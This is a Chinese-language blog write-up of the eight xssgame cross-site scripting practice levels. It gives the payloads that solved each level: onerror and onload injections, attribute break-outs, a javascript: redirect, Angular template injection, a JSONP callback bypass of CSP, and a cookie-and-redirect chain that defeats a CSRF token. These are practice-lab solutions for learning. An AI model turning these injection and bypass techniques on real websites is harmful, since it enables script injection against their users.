[xssgame] writeup

xssgame writeup

level 1

很简单<img src=0 onerror=alert(1)>就好了

level 2

先测试一下<img src=0 onerror=alert(1)>
没用 (我猜也是)
F12看源码发现写到attribute里面了

-w919

闭合一下就好了1');alert('1

level 3

发现他改变url的时候img 的src也会跟着变
可是发现src里面都被过滤了
在fuzz的时候发现加了一个单引号就直接

-w456

变成这样了
那再继续构造
3.jpg'onload=alert(1)>就好了

-w731

onload怎么会有交互=。=


-w776

???突然就成功了,反正payload是这样的=。=

level 4

-w745

fuzz一下,没找到。。注册一下,找找哪里会写到html里面

跳转的太快了,看看跳转的页面=。=
http://www.xssgame.com/f/__58a1wgqGgI/confirm?next=asd
这里的asd可控

-w801

那么闭合一下搞一个alert(1)就好了
-w733

测试的时候发现啥都被过滤了,这时候就想到伪协议了=。=
image

level 5

Angular JS
没学过呀=。=
上网看看
我猜是模板注入
{{$eval(alert(1););}}

image

为啥不行。

了解了一下

image

ng-non-bindable会让所有的html都不解析=。=
但是有两个隐藏的表单都试试
image

突然发现能改

image

成功了

level 6

Angular 2 还行

image

哇一模一样但是就是class不一样

Angular可以用html编码来注入
&lcub;&lcub;$eval(%27alert(1)%27)}}

image

level 7

CSP要绕CSP了=。=
先看他的CSP是啥
Content-Security-Policy: default-src http://www.xssgame.com/f/wmOM2q5NJnZS/ http://www.xssgame.com/static/

以前测站的时候知道jsonp有一个callback参数
就是加上的话会在最前面加一句callback的参数


image

就像这样


image

改了之后发现没啥用=。=

function main() {
    var m = location.search.match('menu=(.*)');
    var menu = m ? atob(m[1]) : 'about';
    document.write('<script src="jsonp?menu=' + encodeURIComponent(menu) + '"></script>');
}

/**
 * Display stuff returned from server side.
 * @param {string} data - JSON data from server side
 */
function callback(data) {
    if (data.title) document.write('<h1>' + data.title + '</h1>');
    if (data.pictures) data.pictures.forEach(function (url) {
            document.write('<img src="/static/img/' + url + '"><br><br>');
        });
}

main();

看了一下他的源代码,发现他先base64解码了,然后把解码的加再进来=。=好吧
http://www.xssgame.com/f/wmOM2q5NJnZS/?menu=PHNjcmlwdCBzcmM9Impzb25wP2NhbGxiYWNrPWFsZXJ0KDEpJTNCJTJmJTJmIj48L3NjcmlwdD4=
这样就好了

level 8

Content-Security-Policy: default-src http://www.xssgame.com/f/d9u16LTxchEi/ http://www.xssgame.com/static/
CSP

function readCookie(name) {
    var match = RegExp('(?:^|;)\\s*' + name + '=([^;]*)').exec(document.cookie);
    return match && match[1];
}

var username = readCookie('name');
if (username) {
    document.write('<h1>Welcome ' + username + '!</h1>');
}

document.addEventListener("DOMContentLoaded", function (event) {
    csrf_token.value = readCookie('csrf_token');
});

长记性了先看js代码

就是会把cookie的东西写到网页上=。=

image

CSP的原因写了也没东西=。=
不会了

  1. 第一个功能是设置name,但是仔细观察不难发现,设置的name是放在cookie里的,而且还接受了redirect参数,会在设置完跳到相应的位置。
  2. 第二个功能是设置参数,虽然我没搞明白具体是干了啥,但是amount这个参数只接受整数,如果传入不是整数,那么就会报错,并返回输入的内容,这个部分存在xss。
  3. 第二个功能还有一个问题是csrf_token,我们需要绕过这个东西,可以发现csrf_koen是存在cookie中的。

土爷payload
http://www.xssgame.com/f/d9u16LTxchEi/set?name=csrf_token&value=1&redirect=transfer%3Fname%3Dattacker%26amount%3D123%22%3E%3Cscript%3Ealert%281%29%3C%2fscript%3E%26csrf_token%3D1

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 199,440评论 5 467
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 83,814评论 2 376
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 146,427评论 0 330
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 53,710评论 1 270
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 62,625评论 5 359
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,014评论 1 275
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,511评论 3 390
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,162评论 0 254
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,311评论 1 294
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,262评论 2 317
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,278评论 1 328
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 32,989评论 3 316
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,583评论 3 303
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,664评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 30,904评论 1 255
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 42,274评论 2 345
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 41,856评论 2 339

推荐阅读更多精彩内容

  • checkbox和布尔型 checkbox使用labe标签交互的两种方式 获得checkbox的选中状态 布尔型 ...
    能吃饭也能吃苦1236阅读 345评论 0 0
  • 原创申明:本文参加“423简书故事节”,本人承诺文章内容为原创。 第一章:你是谁 “你知不知道有一种蛇他们极力的想...
    拾稻者阅读 380评论 0 5
  • 在草地上 (刊发2017年《河南通信报》11月30日) 一 不要铺任何的垫子。就这样,直挺挺地,让我们把自己的身体...
    岭南红豆阅读 672评论 2 1
  • 2017年在我的人生当中是密度极大的一年,我的生活发生了巨大的变化。 先是从所谓的没有什么实际本领的自由经纪人下定...
    克克克阿阅读 225评论 2 5